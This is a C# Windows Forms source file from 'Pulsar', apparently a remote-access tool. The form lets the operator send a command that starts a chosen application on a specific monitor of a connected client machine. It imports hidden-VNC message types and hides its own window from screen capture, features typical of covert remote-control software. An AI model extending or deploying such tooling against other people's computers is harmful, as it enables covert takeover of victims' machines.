43 lines
1.1 KiB
C#
43 lines
1.1 KiB
C#
using Pulsar.Common.Messages.Monitoring.HVNC;
|
|
using Pulsar.Common.Messages.Other;
|
|
using Pulsar.Server.Forms.DarkMode;
|
|
using Pulsar.Server.Networking;
|
|
using System;
|
|
using System.Collections.Generic;
|
|
using System.ComponentModel;
|
|
using System.Data;
|
|
using System.Drawing;
|
|
using System.Linq;
|
|
using System.Text;
|
|
using System.Threading.Tasks;
|
|
using System.Windows.Forms;
|
|
|
|
namespace Pulsar.Server.Forms.RemoteDesktopPopUp
|
|
{
|
|
public partial class FrmOpenApplicationOnMonitor : Form
|
|
{
|
|
private readonly Client _client;
|
|
private readonly int _displayIndex;
|
|
|
|
public FrmOpenApplicationOnMonitor(Client c, int displayIndex)
|
|
{
|
|
_client = c;
|
|
_displayIndex = displayIndex;
|
|
|
|
InitializeComponent();
|
|
DarkModeManager.ApplyDarkMode(this);
|
|
ScreenCaptureHider.ScreenCaptureHider.Apply(this.Handle);
|
|
}
|
|
|
|
private void btnStart_Click(object sender, EventArgs e)
|
|
{
|
|
_client.Send(new StartProcessOnMonitor
|
|
{
|
|
Application = txtBoxPathAndArgs.Text,
|
|
MonitorID = _displayIndex
|
|
|
|
});
|
|
}
|
|
}
|
|
}
|